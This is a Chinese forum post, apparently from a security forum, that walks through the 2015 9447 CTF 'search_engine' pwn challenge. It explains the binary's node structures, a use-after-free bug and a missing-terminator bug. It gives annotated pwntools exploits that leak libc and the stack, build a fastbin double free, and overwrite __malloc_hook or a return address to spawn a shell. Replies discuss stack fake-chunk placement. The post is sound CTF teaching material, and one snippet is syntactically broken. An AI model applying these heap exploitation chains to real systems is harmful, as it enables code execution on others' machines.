首页
论坛
课程
招聘
2015 9447ctf search_engine 双解
2018-10-11 09:17 4896

2015 9447ctf search_engine 双解

2018-10-11 09:17
4896
分析一下2015 9447ctf search_engine这道题目。CTF-wiki中2015-9447-ctf-search-engine对于漏洞利用已经讲的十分清楚,我对于程序的功能分析进行一下补充,然后对exp做一下简单的注释,便于理解一些。
这题目算是本菜鸡做pwn以来读的最难懂的程序了,程序的内容以及数据结构花了比较长的时间才弄清楚,下面分析一下这个题目的功能。

程序开始之后,对输出缓冲区做了限制,但是没有对输入缓冲区进行限制,因此程序开始之后会先申请一段heap空间作为输入缓冲区。
下面进入功能函数,我对某些变量做了标注,就如图中展示的一样。
get_numbe()函数用来接受输入,根据输入的数字来执行相应的功能。
程序只有两个功能,说实话,我看到的时候很迷。。

首先介绍index_sentence()的功能,功能的名字叫做索引句子。有点难懂啊,索引句子到底是怎么个索引方式。

为了完成索引,在你输入的句子中需要有一个空格" ",比如“aaa b”这样,当然还要输入size = 6。输入完成之后可以根据“aaa”或者"b"来找到输入的句子并且选择是否删除。
输入一个新的sentence之后创建两个数据结构来存储信息。
struct node
{
char * word;     索引字符串的起始地址
int word_size;     索引字符串的大小
char * sentence;   句子的其实地址
int sentence_size;   句子的大小
void * pre_node;    上一个节点
}
看一下测试的结果加深一下理解,在index功能下输入size = 7 ,sentence="aaa b "效果如下:
pwndbg> x 0x6020b8
0x6020b8:	0x00603470
pwndbg> x/20xg 0x603410
0x603410:	0x0000000000000000	0x0000000000000021         
0x603420:	0x000a206220616161	0x0000000000000000          字符串“aaa b ”
0x603430:	0x0000000000000000	0x0000000000000031
0x603440:	0x0000000000603420	0x0000000000000003           "aaa"的起始地址以及size=3
0x603450:	0x0000000000603420	0x0000000000000006
0x603460:	0x0000000000000000	0x0000000000000031                                               也就是说添加一个sentence会生成两个结构node
0x603470:	0x0000000000603424	0x0000000000000002           "b"的起始地址以及size = 1
0x603480:	0x0000000000603420	0x0000000000000006
0x603490:	0x0000000000603440	0x0000000000020b71            上一个节点是0
0x6034a0:	0x0000000000000000	0x0000000000000000

search_with_word的时候输入"aaa"或者"b"的时候都可以找到这个句子。

下面看一下search_with_word功能。


我也做了相应的注释,就是取bss段中存储的最新添加进去的节点,然后依次判断有没有条件相符的,并且首先要保证node中的sentence的内容不为空。其实是最低字节不能为空**(_BYTE **)(i+16)
找到符合条件以后,如果选择删除之后,那么会先对sengtence置0并且free掉,但是并没有设置NULL而且node中的sentence的内容仍然存在,存在UAF漏洞,可以继续使用。

此外get_input函数中还有一个漏洞,如果输入的字符串长度恰好的读取长度相同,在结尾值没有设置结束符"\00"。

下面是wiki里面的exp,我做了简单的注释来帮助大家更好的理解,关于赋写malloc_hook环节有不清楚的,可以去CTF-wiki里面去查看学习,主要是用到了find_fake_fast这个功能,讲解的很详细。
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.binary = "./search"
search = context.binary

p = process("./search")
main_arena_offset = 0x3c4b20
log.info('PID: ' + str(proc.pidof(p)[0]))


def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset


unsortedbin_offset_main_arena = offset_bin_main_arena(0)


def index_sentence(s):
    p.recvuntil("3: Quit\n")
    p.sendline('2')
    p.recvuntil("Enter the sentence size:\n")
    p.sendline(str(len(s)))
    p.send(s)


def search_word(word):
    p.recvuntil("3: Quit\n")
    p.sendline('1')
    p.recvuntil("Enter the word size:\n")
    p.sendline(str(len(word)))
    p.send(word)


def leak_libc():
    smallbin_sentence = 's' * 0x85 + ' m '
    index_sentence(smallbin_sentence)    #添加一个node,并且保证sentence_chunk属于small bin
    search_word('m')
    p.recvuntil('Delete this sentence (y/n)?\n')  #删除一次
    p.sendline('y')
    search_word('\x00')   #虽然sentence已经置零,但是仍可以通过"\00"绕过判断,从而输出libc的相关信息
    p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
    unsortedbin_addr = u64(p.recv(8))
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('n')
    return unsortedbin_addr


def exp():
    pwnlib.gdb.attach(p,"b* 0x400870")
    # 1. leak libc base
    unsortedbin_addr = leak_libc()
    main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
    libc_base = main_arena_addr - main_arena_offset
    log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
    log.success('libc base addr: ' + hex(libc_base))
    #gdb.attach(p)
    # 2. create cycle fastbin 0x70 size    为了后面再malloc_hook附近分配chunk,所以要将chunk_size设置为0x71
    index_sentence('a' * 0x5d + ' d ')  #a
    index_sentence('b' * 0x5d + ' d ')  #b
    index_sentence('c' * 0x5d + ' d ')  #c

    # a->b->c->NULL
    search_word('d')   #正常的删除 
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')

    # b->a->b->a->...      我的理解是只有a->b->a   这里是利用"\00"绕过判断进行double free
    search_word('\x00')    #首先判断c是否满足条件,由于c是fastbin中的最后一个节点,其fd的值为0,因此不能满足i->sentence != NULL的条件,因此第一个输出时候删除的是对应的b
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除b
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除a
    p.sendline('n')
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除  libc_leak的时候添加的sentence
    p.sendline('n')

    #此时的fastbin为 b->a->b
    # 3. fastbin attack to malloc_hook nearby chunk    向malloc_hook中写东西,改写b->fd,使其指向malloc_hook附近
    fake_chunk_addr = main_arena_addr - 0x33
    fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')

    index_sentence(fake_chunk)

    index_sentence('a' * 0x60)   #分配chunk_a

    index_sentence('b' * 0x60)  #分配chunk_b

    one_gadget_addr = libc_base + 0xf02a4
    payload = 'a' * 0x13 + p64(one_gadget_addr)  
    payload = payload.ljust(0x60, 'f')

    index_sentence(payload)    #赋写malloc_hook为one_gadget
    p.interactive()


if __name__ == "__main__":
    exp()

方法二:
然后我们介绍分配fake_chunk到stack区域。这个方法最后并没有成功的复现,还请师傅们指点一下。
首先利用思路:

1.泄露stack_addr: 首先利用输入长度为48的非数字,而程序不会为字符串设置截断符,可以泄露栈区信息。(可能要输入多次“a”*48,因为有可能恰好在stack区域中,字符串结尾恰好是“\00”,导致不能泄露stack信息,而由于这个stack是递归的,每一次都会导致stack下移,因为多输入几次,即可成功泄露stack信息。)

2.泄露libc: 然后是泄露libc,本文提供了一种新的思路,如何控制node的内容:申请一个存放sentence的chunk,大小与node的大小一样,然后free sentence,然后继而在add一个sentence,并且sentence_chunk_size != node_size,那么node就会被分配到我们前面用来存放sentence的chunk中,即将此chunk加入到了node_list中去。然后我们可以通过比较“\00”使最近添加的node_chunk删除(即删除前面的node的sentence,对应到当前的node),从而又将node_chunk放到了fastbin中,然后我们可以申请一个sentence_chunk_size与之对应sentence,那么我们后面就可以通过控制sentence来控制这个node了,从而实现任意地址读取。泄露libc

3.后面通过double free以及fastbin_attack改写fd,分配fake_chunk到stack区域,然后覆盖ret(没有复现成功以及理解)


首先是泄露stack的信息:

在输入选项1或者2或者3的时候,他有一个48字节的缓冲区,当输入非数字字符长度为48的时候,他并不会在字符串末尾设置截断符,并且由于strol,会将栈区信息泄露出来。


def leak_stack():

    p.sendline('A'*48)
    p.recvuntil('Quit\n')
    p.recvline()

    # doesn't work all the time
    p.sendline('A'*48)
    p.recvline()
    p.sendline('A'*48)

    leak = p.recvline().split(' ')[0][48:]
    print "leak" + leak[::-1].encode("hex")

    return int((leak[::-1].encode('hex')),16)
    #return u64((leak[::-1].encode('hex')).ljust(8,"\00"))
我的水平只是能够知道泄露出来了stack信息,但是并不知道stack的那里找到符合条件的fake_chunk因为malloc fastbin的时候要进行chunk_size的判断,而且不知道去哪里找可以覆盖ret的地方。

然后是泄露libc,此过程介绍了一种新的姿势,即通过手段来控制数据结构node节点的信息:

要满足sentence_addr的低字节!=0才能够进行删除。
def leak_libc():

    index_sentence("a"*3)   #对前辈exp进行了修改,添加这句的目的是因为先分配一个chunk,因为其实heapa_addr的低字节为0x00,不能够绕过判断。
   
    # this sentence is the same size as a list node
    p.recvuntil("Quit\n")
    index_sentence(('a'*12 + ' b ').ljust(40, 'c'))

    # delete the sentence
    search('a' * 12)
    p.sendline('y')   #删除node->sentence,而且sentence_size ==node_size,下面在申请node的时候就可以申请到这里的sentence_chunk。

    # the node for this sentence gets put in the previous sentence's spot.
    # note we made sure this doesn't reuse the chunk that was just freed by
    # making it 64 bytes
    p.recvuntil("Quit\n")
    index_sentence('d' * 64)   #确保当前的sentence_size与node_size也就是之前的sentence_size不同,这样就可以将新node分配到之前的sentence_chunk中。

    # free the first sentence again so we can allocate something on top of it.
    # this will work because 1) the sentence no longer starts with a null byte
    # (in fact, it should be clear that it starts a pointer to 64 d's), and 2)
    # the location where our original string contained `b` is guaranteed to be
    # zero. this is because after the original sentence was zeroed out, nothing
    # was allocated at offset 12, which is just padding in the structure. if
    # we had made the first word in the string 16 bytes instead of 12, then that
    # would put 'b' at a location where it would not be guaranteed to be zero.
    search('\x00')  #然后通过"\00"绕过判断将新添加第二个添加的sentence删除,也就是第三次添加的node,这样node_chunk又回到了fastbin中。
    p.sendline('y')

    #下面我们只需要申请sentence_size==node_size的sentence,就可以将新的sentence分配到第三次添加的node中,即可以控制第三次添加的node的内容
    # make our fake node
    node = ''
    node += p64(0x400E90) # word pointer "Enter"
    node += p64(5) # word length
    node += p64(0x602028) # sentence pointer (GOT address of free)
    node += p64(64) # length of sentence
    node += p64(0x00000000) # pre pointer is null  设置第三次添加的node的pre_link为0,不再向上索引。
    assert len(node) == 40

    # this sentence gets allocated on top of the previous sentence's node.
    # we can thus control the sentence pointer of that node and leak memory.

    p.recvuntil("Quit\n")
    index_sentence(node)  #控制第三次添加的node的内容

    # this simply receives all input from the binary and discards it, which
    # makes parsing out the leaked address easier below.
    #p.clean()

    # leak the libc address
    search('Enter')
    p.recvuntil('Found 64: ')
    leak = u64(p.recvline()[:8])
    p.sendline('n') # deleting it isn't necessary
    return leak

在得到的stack信息以及libc信息之后,就进行double以及fastbin attack修改fd的值,是fake_chunk分配到stack区域。
def make_cycle():  
    p.recvuntil("Quit\n")
    index_sentence('a'*54 + ' d')
    p.recvuntil("Quit\n")
    index_sentence('b'*54 + ' d')
    p.recvuntil("Quit\n")
    index_sentence('c'*54 + ' d')

    search('d') 
    p.sendline('y')
    p.sendline('y')
    p.sendline('y')  #当前fastbin:  a->b->c
    search('\x00')
    p.sendline('y')
    p.sendline('n')  #double free之后 fastbin:b->a->b

#下面的操作和前面的方法一大同小异
def make_fake_chunk(addr):	
    # set the fwd pointer of the chunk to the address we want
    fake_chunk = p64(addr)
    p.recvuntil("Quit\n")
    index_sentence(fake_chunk.ljust(56))

def allocate_fake_chunk(binsh_addr, system_addr):

    # allocate twice to get our fake chunk
    p.recvuntil("Quit\n")
    index_sentence('A'*56)
    p.recvuntil("Quit\n")
    index_sentence('B'*56)

    # overwrite the return address
    buf = 'A'*30

    buf += p64(pop_rdi_ret)
    buf += p64(binsh_addr)
    buf += p64(system_addr
    buf = buf.ljust(56, 'C')

    p.recvuntil("Quit\n")
    index_sentence(buf)

def main():
    stack_leak = leak_stack()

    # This makes stack_addr + 0x8 be 0x40
    stack_addr = stack_leak + 0x22 - 8

    log.info('stack leak: %s' % hex(stack_leak))
    log.info('stack addr: %s' % hex(stack_addr))

    #gdb.attach(p)
    raw_input("wait")
    libc_leak = leak_libc()
    libc_base = libc_leak - puts_offset
    #libc_base = 0x7ffff7a0d000
    system_addr = libc_base + system_offset
    binsh_addr = libc_base + binsh_offset

    log.info('libc leak: %s' % hex(libc_leak))
    log.info('libc_base: %s' % hex(libc_base))
    log.info("puts_offset :%s" % hex(puts_offset))
    log.info('system addr: %s' % hex(system_addr))
    log.info('binsh addr: %s' % hex(binsh_addr))
    make_cycle()

    make_fake_chunk(stack_addr)
    gdb.attach(p)
    allocate_fake_chunk(binsh_addr, system_addr)

    p.interactive()

前辈的exp这样就大概结束了,我昨天修改了一下成功的跑通了shell,但是今天再测试的时候,发现泄露stack的时候由于不确定性还是什么,这次输入了三次“A”*48才泄露出stack的地址信息,而前辈的exp给的是两次,因此我今天打不通shell了,也不能调试了,无助~~

我就想问问各位大佬,我知道一个栈的地址信息,怎么去栈里面找fake_chunk的位置,并且是不是还需要可以覆盖返回地址?
前辈的文章就这么操作了几下就成功了
def make_fake_chunk(addr):	

    # set the fwd pointer of the chunk to the address we want
    fake_chunk = p64(addr)    #我的目的地址怎么确定的,怎么去找满足条件的stack地址
    p.recvuntil("Quit\n")
    index_sentence(fake_chunk.ljust(56))    这个函数结束fastbin:a->b->stack_addr

def allocate_fake_chunk(binsh_addr, system_addr):

    # allocate twice to get our fake chunk
    p.recvuntil("Quit\n")
    index_sentence('A'*56)   #分配a
    p.recvuntil("Quit\n")
    index_sentence('B'*56)   #分配b

    # overwrite the return address

    buf = 'A'*30
    buf += p64(pop_rdi_ret)     
    buf += p64(binsh_addr)
    buf += p64(system_addr)     #这里的system_addr应该是覆盖的返回地址,可是我找不到有返回地址的地方。。。。
    buf = buf.ljust(56, 'C')          
跪求师傅赐教。。

能够得到栈区信息,以及stack的信息是这样的






[公告]请完善个人简历信息,招聘企业等你来!

收藏
点赞0
打赏
分享
最新回复 (4)
雪    币: 33
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
邓桂 活跃值 2018-10-11 10:02
2
0
1
雪    币: 1
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:27 )
在线值:
发帖
回帖
粉丝
siriuswhiter 活跃值 2018-10-15 21:37
3
0
1
雪    币: 1
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:27 )
在线值:
发帖
回帖
粉丝
siriuswhiter 活跃值 2018-10-15 21:38
4
0
我觉得那个fake_chunk是在栈区寻找 40, 这个值刚好对应结构体的size,栈区中是存在0x400*** 这样的地址,可以刚好用来伪造fake_chunk
雪    币: 1602
活跃值: 活跃值 (600)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
iddm 活跃值 4 2018-10-17 14:29
5
0
siriuswhiter 我觉得那个fake_chunk是在栈区寻找 40, 这个值刚好对应结构体的size,栈区中是存在0x400*** 这样的地址,可以刚好用来伪造fake_chunk
谢谢师傅 我去看看的
游客
登录 | 注册 方可回帖
返回